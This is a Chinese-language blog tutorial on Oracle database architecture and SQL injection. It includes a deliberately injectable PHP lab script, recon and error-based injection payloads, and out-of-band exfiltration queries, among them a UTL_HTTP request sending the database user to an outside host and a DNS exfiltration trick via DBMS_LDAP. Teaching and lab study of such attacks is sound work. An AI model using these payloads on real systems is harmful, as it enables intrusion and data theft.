Hacking Oracle 10g/11g:从删库到跑路 - 基础篇

0x0 前言

在开始接触 Oracle 之前,对 Oracle 数据库、实例、SID 都是非常模糊的认识,经常混淆,毕竟也是面向企业级的数据库。所以打算在记录攻击方法之前,先整理一下 Oracle 的体系结构,以便更轻松地理解后续的内容。

0x1 Oracle 数据库基本概念

Oracle 中有三个重要的基本概念:数据库实例数据库SID

  • 数据库实例 和 SID

Oracle 的数据库实例(Instance)其实是后台进程和 SGA 的总称。后台进程负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求。

SGA 全称为 System Global Area,即系统全局区域。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志等信息,由后台进程进行共享。

通常数据库实例会用一个唯一标识来标识,这个标识符便称为 SID(System Identifier)。

  • 数据库

数据库一般代指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件和 Redo 日志。数据库一般位于 $ORACLE_HOME/oradata/SID,SID 对应创建数据库时指定的实例 SID,数据文件以 *.dbf 的形式存放。

  • 关系

首先,数据库实例和数据库并不是必须相互依赖而存在的。当实例启动时,可以不关联任何数据库。数据库可以存在于磁盘,不附加到任何实例,当然这样无法与用户进行交互。

一般而言,数据库附加到实例中,与其进行关联,是一对一的关系。但是在集群环境下,一个数据库可以对应多个实例,这些实例分布在不同的服务器上。但反过来,一个实例只能对应一个数据库。

0x2 Oracle 数据库结构

  • 表空间,Tablespace

相对于其他数据库,Oracle 中有一个比较特殊的概念:表空间(Tablespace)。数据文件便是由多个表空间组成,这些数据文件和相关文件形成一个完整的数据库:

oracle_tablespaces.png

如上图,当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP

SYSTEM,不言而喻这个用于是存储系统表和管理配置等基本信息,而 SYSAUX 作用类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担。

UNDOTBS 用于事务回退等,TEMP 则作为缓存空间减少内存负担。

USERS 就是存储我们定义的表和数据。

  • Schema

这个词翻译起来为纲要、架构,但还是保持原词状态会比较好一点。Oracle 数据库支持多用户,用户想在同个数据库中创建相同名称的表或其他歧义数据,该怎么办?

Oracle 中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间(Namespace),默认情况下,Schema 的名称同用户名称相同:

schemas.png

0x3 Oracle 用户和权限管理

权限和角色

Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的 CURD 操作,DBA 则集合了所有的用户权限。

用户

创建数据库时,会默认启用 sys、system 等用户。

sys 相当于 Linux 下的 root 用户,system 与其类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。

两者都具有 DBA 角色。

Oracle 中还有一个特殊用户:public。public 实际上代指所有用户(everyone),对其操作会应用到所有用户上。

0x4 Oracle 数据库注入

通常 Oracle 的利用思路为:通过数据库存在的漏洞提升当前用户权限,创建相关函数或过程,最终执行系统命令。

首先上一个 PHP 脚本:

 <?php
function query($name) {
    $conn = oci_connect('scott', 'tiger', 'localhost/Repo');
    if (! $conn) {
        die('Cannot connect to the database: '. oci_error());
    }
    $stat = oci_parse($conn, "SELECT id,name,age FROM users WHERE name LIKE '%". $name ."%'");
    oci_execute($stat);
    if ($stat) {
        echo '<table>';
        echo '<tr><th>ID</th><th>Name</th><th>Age</th></tr>';
        while (($row = oci_fetch_array($stat, OCI_BOTH)) != false) {
            echo '<tr>';
            echo '<td>'. $row['ID'] .'</td>';
            echo '<td>'. htmlspecialchars($row['NAME']) .'</td>';
            echo '<td>'. $row['AGE'] .'</td>';
            echo '</tr>';
        }
        echo '</table>';
    }
    oci_free_statement($stat);
    oci_close($conn);
}

if (isset($_POST['name']) && !empty($_POST['name'])) {
    query($_POST['name']);
}

?>

<form method="POST">
<input type="text" name="name" length="15"><input type="submit" value="Search">
</form>

内容比较简单,提交的字段直接带入到查询语句中,产生注入。界面比较龊,将就着用吧:

oracle_lab.png

  • 信息探测

首先获取数据库的版本信息:

select banner FROM v$version where rownum = 1

v$version 是系统视图,包含数据库和附属工具的版本信息。rownum 的作用类似于 limit,也可以忽略。

查看当前用户:

select user from dual
select SYS_CONTENXT('userenv', 'session_user') from dual

这里的 dual 并非存放用户的表,而是一个固定的虚拟表。Oracle 中 SELECT 语句必须包含 FROM 关键词,以构成一个完整的查询语句。

oracle_current_user.png

列数据库:

select distinct owner from all_tables

其实说数据库有点不严谨,由于每个用户都是分离的,这里相当于列出所有用户的 Schema 名。

列数据表:

select table_name from all_tables

用户权限:

select role from session_roles
select privilege from session_privs
select SYS_CONTEXT('userenv', 'isdba') from dual

系统信息:

select SYS_CONTEXT('userenv', 'server_host') from dual
select SYS_CONTEXT('userenv', 'db_name') from dual
select SYS_CONTEXT('userenv', 'instance_name') from dual
select SYS_CONTEXT('userenv', 'current_schema') from dual

以上通过参数名就可以知其义了,这里多次使用了 SYS_CONTEXT 函数。系统启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。

更多可用参数说明可以查阅 Oracle 提供的文档:SYS_CONTEXT

  • Oracle 报错注入
CTXSYS.drithsx.sn(1, (query))
CTXSYS.CTX_REPORT.TOKEN_TYPE('', (query))
UTL_INADDR.get_host_name(query)
UTL_INADDR.get_host_address(query)

get_host_nameget_host_address 用于解析域名和地址,使用方法相同:

oracle_error_base_sqli.png

CTXSYS.drithsx.snCTXSYS.CTX_REPORT.TOKEN_TYPE 是 Oracle 中自带的函数,用于处理文本,当传入参数类型错误时,会返回异常:

oracle_text_util_error_base.png

  • 带外传输注入

Oracle 中内置了发送 HTTP 请求的函数:

UTL_HTTP.Request(query)

发送请求:

select UTL_HTTP.Request('https://latec0mer.com/'||(select user from dual)) from dual

Oracle 中使用 || 连接字符串。

oracle_http_request_attack.png

服务器接收:

oracle_request_log.png

Oracle 11g 中增加了网络 ACL,所以 get_host_name、get_host_address 和 UTL_HTTP.Request 在没有权限的情况下无法调用,但是在 Oracle 10g/11g 中还有一个 public 可以调用的函数,利用该函数可以将数据通过 DNS 解析的方式传输到服务器:

SYS.DBMS_LDAP.init(query, 80)

构造请求:

oracle_dns_query.png

服务器上监听 UDP 53 端口:

oracle_dns_resolve.png

比较鸡肋的是域名长度的限制,通常一个子域标签最长为 63 个字节,整个域名总长限制为 255 字节。当超过这个长度时,系统的 DNS 客户端会拒绝解析域名。

0x5 参考

Oracle Database Instance

Hacking Oracle with Sql Injection

SYS_CONTEXT - Oracle Docs

What is the real maximum length of a DNS name?